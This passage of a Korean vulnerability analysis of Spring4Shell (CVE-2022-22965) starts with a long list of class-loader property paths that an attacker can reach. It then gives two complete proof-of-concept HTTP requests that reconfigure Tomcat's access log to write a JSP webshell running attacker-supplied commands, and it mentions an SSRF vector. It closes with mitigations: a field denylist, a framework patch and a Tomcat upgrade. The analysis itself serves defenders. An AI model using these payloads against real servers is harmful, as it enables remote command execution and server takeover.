class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.container
class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.credentialHandler.algorithm
class.module.classLoader.resources.context.realm.credentialHandler.encoding
class.module.classLoader.resources.context.realm.credentialHandler.iterations
class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.container
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.service.container
class.module.classLoader.resources.context.manager.engine.service.domain
class.module.classLoader.resources.context.manager.engine.service.name
class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.basic.container
class.module.classLoader.resources.context.parent.pipeline.basic.domain
class.module.classLoader.resources.context.parent.pipeline.basic.next
class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.buffered
class.module.classLoader.resources.context.parent.pipeline.first.checkExists
class.module.classLoader.resources.context.parent.pipeline.first.condition
class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.module.classLoader.resources.context.parent.pipeline.first.container
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.domain
class.module.classLoader.resources.context.parent.pipeline.first.enabled
class.module.classLoader.resources.context.parent.pipeline.first.encoding
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.module.classLoader.resources.context.parent.pipeline.first.locale
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.first.rotatable
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.engine.service.server.address
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
class.module.classLoader.resources.context.manager.engine.service.server.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.port
class.module.classLoader.resources.context.manager.engine.service.server.shutdown
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.next.container
class.module.classLoader.resources.context.parent.pipeline.first.next.domain
class.module.classLoader.resources.context.parent.pipeline.first.next.next
class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
class.module.classLoader.resources.context.manager.engine.service.server.port
그 중 class.module.classLoader.resources.context.parent.pipeline을 사용하여 AccessLog의 속성을 설정할 수 있으며, 그 다음 로그 쓰기 기능을 이용하여 webshell을 작성할 수 있습니다. POC는 다음과 같습니다. ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E


또는 요청 헤더를 이용하여 pattern의 값을 전달합니다:
* tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
class.module.classLoader.resources.context.configFile를 이용하여 SSRF도 가능합니다.
다른 활용 가능한 속성들은 각 속성의 역할을 더 살펴봐야 합니다.
주의할 점은 위 속성들을 수정하면 서비스가 재시작될 수 있으므로, 자신의 테스트 환경에서는 상관없지만 절대 실제 운영 환경에서 이러한 PoC를 직접 사용하지 마십시오. 그 결과를 잘 알고 감당할 수 있는 경우가 아니라면 말입니다!!
새 버전의 수정 방식에서는 변수 덮어쓰기를 막기 위해 두 가지 주요 포인트가 있습니다:
disallowFields 바인딩을 WebDataBinder에서 전역 설정으로 비활성화:```java
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};
dataBinder.setDisallowedFields(denylist);
}
}하지만 이러한 블랙리스트 방식은 우회될 가능성이 있습니다; 임시로 사용하는 것은 OK이지만, 장기적인 해결책은 아닙니다;
2. CachedIntrospectionResults에서 beaninfo를 가져올 때 검사가 추가되어 Class 클래스의 name 변수만 허용하도록 변경되었습니다:

**기타 회피 조치:**
1. tomcat의 새 버전에서도 취약점 회피가 이루어졌습니다. 처음에 tomcat 8.5.78 버전을 사용했을 때 재현되지 않았고, 디버깅 결과 class.module.classLoader.resources를 사용할 때 해당 tomcat 버전에서 얻은 resources가 비어 있어 악용할 수 없었습니다. 따라서 tomcat 버전을 업그레이드해도 이 취약점을 회피할 수 있습니다;
2. jdk9 미만은 이 취약점의 영향을 받지 않습니다.